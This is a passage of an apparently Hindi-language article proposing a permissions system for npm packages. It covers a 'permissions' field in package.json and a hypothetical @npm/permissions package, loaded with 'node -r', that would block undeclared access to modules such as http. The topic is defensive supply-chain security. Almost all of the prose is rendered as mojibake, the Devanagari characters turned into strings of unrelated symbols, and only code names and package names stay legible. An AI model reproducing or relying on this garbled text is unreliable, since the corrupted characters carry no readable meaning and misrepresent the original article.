, рдкреИрдХреЗрдЬ рдЬрд┐рд╕рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ,
http
рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ред рдЖрдкрдХреЗ рдкреИрдХреЗрдЬ рдЕрдиреБрдорддрд┐рдпрд╛рдБ, рдЬреИрд╕рд╛ рдХрд┐
npmjs.com/package/fancy-logger
рдкрд░ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддрджрдиреБрд╕рд╛рд░ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред тАЭ
рдпрд╣, рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, рд╕рдВрдХреБрд▓ рдХреЗ рд▓реЗрдЦрдХ рдФрд░ рд╕реНрд╡рдпрдВ npm рджреЛрдиреЛрдВ рдХреЗ рдХрд╛рдо рдореЗрдВ рдЬреЛрдбрд╝ рджреЗрдЧрд╛, рд▓реЗрдХрд┐рди рдпреЗ рдЪреАрдЬреЗрдВ рдЙрди рдкрд░ рдереЛрдбрд╝рд╛ рд╕рдордп рдмрд┐рддрд╛рдиреЗ рдХреЗ рдпреЛрдЧреНрдп рд╣реЛрдВрдЧреАред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ,
add-two-numbers
рдХреЗ рд▓реЗрдЦрдХ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдпрдХреАрди рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЕрдЧрд░ рд╡рд╣
http
рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд╛рдВрдЧрддрд╛ рд╣реИ, рддреЛ рдЗрд╕рд╕реЗ рджреБрдирд┐рдпрд╛ рднрд░ рдореЗрдВ рдХрдИ "рдЕрд▓рд╛рд░реНрдо" рд╢реБрд░реВ рд╣реЛ рдЬрд╛рдПрдВрдЧреЗред
рдЬреЛ рд╣рдореЗрдВ рдЪрд╛рд╣рд┐рдПред рд╣рд╛рдБ? рдореИрдВ рдЙрдореНрдореАрдж рдХрд░рдирд╛ рдЪрд╛рд╣реВрдВрдЧрд╛ рдХрд┐ рдЯреЗрд▓реАрдлреЛрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдФрд░ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдХреНрд░реЛрдо рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдкреИрдХреЗрдЬ рдЬрд┐рдиреНрд╣реЗрдВ рдХрдо рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрдзрд┐рдХ рд▓реЛрдХрдкреНрд░рд┐рдп рд╣реЛрдВрдЧреЗ, рдЬрд┐рдиреНрд╣реЗрдВ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдЪреНрдЪ рд╕реНрддрд░реАрдп рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдпрд╣ рдмрджрд▓реЗ рдореЗрдВ, рдкреИрдХреЗрдЬ рд▓реЗрдЦрдХреЛрдВ рдХреЛ рдЙрдирдХреЗ рд╡рд┐рдХрд╛рд╕ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рдЪрдпрди рдХрд░рддреЗ рд╕рдордп рдмрд╣реБрдд рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рд╕реЛрдЪрдиреЗ рджреЗрдЧрд╛ред
рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдПрдирдкреАрдПрдо рдПрдХ рдЕрдиреБрдорддрд┐ рдкреНрд░рдгрд╛рд▓реА рд╢реБрд░реВ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдХреА рдкреНрд░рдгрд╛рд▓реА рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рдкрд╣рд▓реЗ рджрд┐рди, рд╕рднреА рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рдкреВрд░реНрдг рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕рдордЭреА рдЬрд╛рдПрдЧреА (рдРрд╕рд╛ рдирд┐рд░реНрдгрдп рдмрд╛рдж рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ - рдЙрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ
permissions
package.json
рдореЗрдВ рдЧрд╛рдпрдм рд╣реИ
package.json
)ред
рдкреИрдХреЗрдЬ рдХрд╛ рд▓реЗрдЦрдХ, рдЬреЛ рдпрд╣ рджрд╛рд╡рд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ рдХрд┐ рдЙрд╕рдХреЗ рдкреИрдХреЗрдЬ рдХреЛ рд╡рд┐рд╢реЗрд╖ рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ,
package.json
рдореЗрдВ
permissions
рдЕрдиреБрднрд╛рдЧ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦреЗрдЧрд╛ред рдПрдХ рдЦрд╛рд▓реА рд╡рд╕реНрддреБ рдХреЗ рд░реВрдк рдореЗрдВред рдФрд░, рдпрджрд┐ рдкреИрдХреЗрдЬ рдХреЗ рд▓реЗрдЦрдХ рдкрд░реНрдпрд╛рдкреНрдд рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ, рддрд╛рдХрд┐ рдирд┐рд░реНрднрд░рддрд╛ рдХреА рдЕрдиреБрдорддрд┐ рдЙрдирдХреЗ рдкреИрдХреЗрдЬ рдХреЛ "рдмреЛрдЭ" рди рдХрд░реЗрдВ, рддреЛ рд╡реЗ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВрдЧреЗ рдХрд┐ рдЗрди рдирд┐рд░реНрднрд░рддрд╛ рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рднреА рд╡рд┐рд╢реЗрд╖ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рд░реНрднрд░рддрд╛ рднрдВрдбрд╛рд░ рдореЗрдВ рдЙрдЪрд┐рдд рдкреБрд▓ рдЕрдиреБрд░реЛрдз рдХрд░рдХреЗред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдкреИрдХреЗрдЬ рдХрд╛ рдкреНрд░рддреНрдпреЗрдХ рд▓реЗрдЦрдХ рдЕрдкрдиреА рдирд┐рд░реНрднрд░рддрд╛ рдХреЛ рддреЛрдбрд╝рдиреЗ рдкрд░ рдЕрдкрдиреЗ рдкреИрдХреЗрдЬ рдХреА рднреЗрджреНрдпрддрд╛ рдХреЗ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрдо рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдкреИрдХреЗрдЬ рдХреЗ рд▓реЗрдЦрдХ рдирд┐рд░реНрднрд░рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ, рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ, рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЙрдирдХреЗ рдкрд╛рд╕ рдЕрдиреНрдп рдкреИрдХреЗрдЬреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рд┐рдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░реЛрддреНрд╕рд╛рд╣рди рд╣реЛрдЧрд╛ред
рдФрд░ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдмрдирд╛рддреЗ рд╕рдордп npm- рдкреИрдХреЗрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдпрд╣ рдЙрдиреНрд╣реЗрдВ рдЕрдкрдиреА рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреИрдХреЗрдЬреЛрдВ рдкрд░ рд╡рд┐рд╢реЗрд╖ рдзреНрдпрд╛рди рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдЧрд╛, рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЛ рдЪреБрдирдирд╛ рдЬрд┐рдиреНрд╣реЗрдВ рд╡рд┐рд╢реЗрд╖ рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред рдЙрд╕реА рд╕рдордп, рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, рдХреБрдЫ рдкреИрдХреЗрдЬ, рдЙрджреНрджреЗрд╢реНрдп рдХрд╛рд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП, рдЙрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдЬреЛ рд╕рдорд╕реНрдпрд╛рдПрдВ рдкреИрджрд╛ рдХрд░ рд╕рдХрддреА рд╣реИрдВ, рд▓реЗрдХрд┐рди рдРрд╕реЗ рдкреИрдХреЗрдЬ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рд╡рд┐рд╢реЗрд╖ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд╣реЛрдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИред
рд╢рд╛рдпрдж
рдЧреНрд░реАрдирдХреАрдкрд░ рдХреА рддрд░рд╣ рдХреБрдЫ рдЗрди рд╕рднреА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдФрд░ рдЕрдВрдд рдореЗрдВ,
package-permissions.json
рдлрд╝рд╛рдЗрд▓ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрд╕рд╛рди-рд╕реЗ-рд╕рдордЭрдиреЗ рд╡рд╛рд▓рд╛ рд╕рд╛рд░рд╛рдВрд╢ рдкреНрд░рджрд╛рди рдХрд░реЗрдЧреА, рдЬреЛ рдПрдХ рдЖрд╡реЗрджрди рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд "рдЫреЗрдж" рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЛ рд╡рд┐рд╡рд╛рджрд╛рд╕реНрдкрдж рдкреИрдХреЗрдЬ рдФрд░ рдЙрдирдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреНрд░рд╢реНрди рдкреВрдЫрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рдирддреАрдЬрддрди, рдореБрдЭреЗ рдЙрдореНрдореАрдж рд╣реИ рдХрд┐ рдпрд╣ рд╕рд░рд▓
permissions
рд╕рдВрдкрддреНрддрд┐ рд▓рдЧрднрдЧ 800,000 рдПрдирдкреАрдПрдо рдкреИрдХреЗрдЬреЛрдВ рдХреЗ рдмреАрдЪ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдлреИрд▓ рд╕рдХрддреА рд╣реИ рдФрд░ рдПрдирдкреАрдПрдо рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдмрдирд╛ рд╕рдХрддреА рд╣реИред
рдмреЗрд╢рдХ, рдпрд╣ рд╕рдВрднрд╛рд╡рд┐рдд рд╣рдорд▓реЛрдВ рдХреЛ рдирд╣реАрдВ рд░реЛрдХреЗрдЧрд╛ред рдЬрд┐рд╕ рдкреНрд░рдХрд╛рд░ рдореЛрдмрд╛рдЗрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрд░реЛрдзрд┐рдд рдЕрдиреБрдорддрд┐рдпрд╛рдВ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рд╕рд╛рдЗрдЯреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рддрд░рд┐рдд рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдореЛрдмрд╛рдЗрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдмрдирд╛рдиреЗ рдореЗрдВ рдЕрд╕рдВрднрд╡ рдирд╣реАрдВ рдмрдирд╛рддреА рд╣реИрдВред рд▓реЗрдХрд┐рди рдпрд╣ "рдЕрдЯреИрдХ рд╕рд░рдлреЗрд╕" рдХреЛ рдЙрди рд╕рдВрдХреБрд▓реЛрдВ рддрдХ рд╕реАрдорд┐рдд рдХрд░ рджреЗрдЧрд╛ рдЬреЛ рдХрдВрдкреНрдпреВрдЯрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд▓рд┐рдП рдЦрддрд░рд╛ рдкреИрджрд╛ рдХрд░ рд╕рдХрдиреЗ рд╡рд╛рд▓реЗ рдХреБрдЫ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдЕрдиреБрдорддрд┐ рдорд╛рдВрдЧрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдЬрд╛рдирдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрдЧрд╛ рдХрд┐ рдХрд┐рддрдиреЗ рдкреНрд░рддрд┐рд╢рдд рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред
рдпрд╣ рд╡рд╣реА рддрдВрддреНрд░ рд╣реИ рдЬреЛ npm рд╕рдВрдХреБрд▓ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ рдЬреЛ рдореИрдВрдиреЗ рд╕реЛрдЪрд╛ рдерд╛ рдХрд┐ рдЬреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рд╡рд┐рдЪрд╛рд░ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХрддрд╛ рдмрди рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╣рдо рдпрд╛ рддреЛ рдЗрд╕ рддрдереНрдп рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдШреЛрд╖рдгрд╛ рдХрд░рдХреЗ рдЕрдкрдиреЗ рдкреИрдХреЗрдЬреЛрдВ рдХрд╛ рдИрдорд╛рдирджрд╛рд░реА рд╕реЗ рд╡рд░реНрдгрди рдХрд░реЗрдВрдЧреЗ, рдпрд╛ рдЙрдирдХреЗ рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрд░реЛрдзрд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдкреИрдХреЗрдЬреЛрдВ рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХреЗ рдЬрдмрд░рди рдкреНрд░рддрд┐рдмрдВрдз рдХреЗ рд╕рд╛рде рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдШреЛрд╖рд┐рдд рдХрд░рдиреЗ рдХреА рдкреНрд░рдгрд╛рд▓реА рдХреЛ рд╕рдВрдпреЛрдЬрд┐рдд рдХрд░реЗрдВрдЧреЗред рдпрд╣ рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рд╕рд╡рд╛рд▓ рд╣реИред рдЗрд╕реЗ Node.js рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрдиреЗ рдХреЗ рд░реВрдк рдореЗрдВ рджреЗрдЦрддреЗ рд╣реИрдВред
Node.js рдореЗрдВ рдЙрдирдХреЗ рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрд░реЛрдзрд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдкреИрдХреЗрдЬ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛
рдпрд╣рд╛рдВ рдореБрдЭреЗ рдЗрд╕ рддрд░рд╣ рдХреЗ рдкреНрд░рддрд┐рдмрдВрдз рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рджреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд╡рд┐рдХрд▓реНрдк рджрд┐рдЦрд╛рдИ рджреЗрддреЗ рд╣реИрдВред
тЦН рд╡рд┐рдХрд▓реНрдк 1: рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рдПрдирдкреАрдПрдо рдкреИрдХреЗрдЬ
Npm (рдпрд╛ рдХреБрдЫ рдЕрдиреНрдп рд╕рдВрдЧрдарди рд╕рдорд╛рди рд░реВрдк рд╕реЗ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рдФрд░ рджреВрд░рджрд░реНрд╢реА) рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдФрд░ рдмрдирд╛рдП рдПрдХ рдкреИрдХреЗрдЬ рдХреА рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВред рдЗрд╕ рдкреИрдХреЗрдЬ рдХреЛ
@npm/permissions
рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред
рдЗрд╕ рддрд░рд╣ рдХреЗ рдкреИрдХреЗрдЬ рдХреЛ рдпрд╛ рддреЛ рдкрд╣рд▓реЗ рдЖрдпрд╛рдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛрдб рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдпрд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди
node -r @npm/permissions index.js
рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рд▓реЙрдиреНрдЪ рдХрд┐рдП рдЬрд╛рдПрдВрдЧреЗред
рдПрдХ рдкреИрдХреЗрдЬ рдЕрдиреНрдп рдЖрдпрд╛рдд рдЖрджреЗрд╢реЛрдВ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░ рджреЗрдЧрд╛ рддрд╛рдХрд┐ рд╡реЗ
package.json
рдХреЗ
permissions
рдЦрдВрдб рдореЗрдВ рдмрддрд╛рдИ рдЧрдИ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рди рдХрд░реЗрдВред рдЕрдиреНрдп рдкреИрдХреЗрдЬреЛрдВ рдХреА рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдЬрдорд╛ рдХрд░реЗрдВред рдЕрдЧрд░ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд
lovely-logger
рдкреИрдХреЗрдЬ рдХреЗ рд▓реЗрдЦрдХ рдиреЗ Node.js
http
рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рдЗрд╕ рдкреИрдХреЗрдЬ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреА рдШреЛрд╖рдгрд╛ рдирд╣реАрдВ рдХреА рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЗрд╕ рдкреИрдХреЗрдЬ рдХреЛ рдЗрд╕ рдореЙрдбреНрдпреВрд▓ рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмреЛрд▓рдирд╛, рдкреВрд░реЗ Node.js рдореЙрдбреНрдпреВрд▓ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рдирд╛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдЖрджрд░реНрд╢ рдирд╣реАрдВ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, npm
methods
рдкреИрдХреЗрдЬ Node.js
http
рдореЙрдбреНрдпреВрд▓ рдХреЛ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЛрдИ рдбреЗрдЯрд╛ рдирд╣реАрдВ рднреЗрдЬрддрд╛ рд╣реИред рдпрд╣ рд╕рд┐рд░реНрдл
http.METHODS
рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реЗрддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдирд╛рдо рдХреЛ
http.METHODS
рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕реЗ рдПрдХ рдХреНрд▓рд╛рд╕рд┐рдХ npm рдкреИрдХреЗрдЬ рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд░реНрдпрд╛рдд рдХрд░рддрд╛ рд╣реИред рдЕрдм рдРрд╕рд╛ рдкреИрдХреЗрдЬ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдорд╣рд╛рди рд▓рдХреНрд╖реНрдп рдЬреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИ - рдЙрд╕рдХреЗ рдкрд╛рд╕ рдкреНрд░рддрд┐ рд╕рдкреНрддрд╛рд╣ 6 рдорд┐рд▓рд┐рдпрди рдбрд╛рдЙрдирд▓реЛрдб рд╣реИрдВ, рдЬрдмрдХрд┐ рд╡рд╣ 3 рд╡рд░реНрд╖реЛрдВ рд╕реЗ рдирд╣реАрдВ рдмрджрд▓рд╛ рд╣реИред рдореИрдВ рдЗрд╕ рдкреИрдХреЗрдЬ рдХреЗ рд▓реЗрдЦрдХреЛрдВ рдХреЛ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реВрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдЕрдкрдиреА рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдордВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВред
methods
рдкреИрдХреЗрдЬ рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрддреЗ рд╣реБрдП, рдпрд╣ рд╡рд┐рдЪрд╛рд░ рдХрд░рдирд╛ рдмреЗрд╣рддрд░ рд╣реЛрдЧрд╛ рдХрд┐ рдЗрд╕рдХреЗ рд▓рд┐рдП
network
рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рдФрд░ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рдЬреЛ
http
рдореЙрдбреНрдпреВрд▓ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред рдлрд┐рд░ рдпрд╣ рдкреНрд░рддрд┐рдмрдВрдз рдмрд╛рд╣рд░реА рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рддрдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рдкреИрдХреЗрдЬ рдХреЗ рдХрд┐рд╕реА рднреА рдкреНрд░рдпрд╛рд╕ рдХреЛ рдмреЗрдЕрд╕рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдХреБрдЫ рдбреЗрдЯрд╛ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред
рдХрд╛рд▓реНрдкрдирд┐рдХ рдкреИрдХреЗрдЬ
@npm/permissions
рдПрдХ рдкреИрдХреЗрдЬ рд╕реЗ рдХрд┐рд╕реА рднреА рдЕрдиреНрдп рдкреИрдХреЗрдЬ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИрдВ рдЬреЛ рдЗрд╕рдХреА рдирд┐рд░реНрднрд░рддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдирд╣реАрдВ рдереЗред рдпрд╣ рдкреИрдХреЗрдЬ рдХреЛ рд░реЛрдХ рджреЗрдЧрд╛, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП,
fs-extra
рдФрд░
request
рдЬреИрд╕реА рдХрд┐рд╕реА рдЪреАрдЬрд╝ рдХреЛ рдЖрдпрд╛рдд рдХрд░рдиреЗ рд╕реЗ, рдФрд░ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдФрд░ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд░реАрдб рдбреЗрдЯрд╛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЗрди рдкреИрдХреЗрдЬреЛрдВ рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
рдЗрд╕реА рддрд░рд╣, "рдЖрдВрддрд░рд┐рдХ" рдФрд░ "рдмрд╛рд╣рд░реА" рдбрд┐рд╕реНрдХ рдПрдХреНрд╕реЗрд╕ рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдХрд░рдирд╛ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдореИрдВ рдХрд╛рдлреА рдЦреБрд╢ рд╣реВрдВ рдХрд┐
node-sass
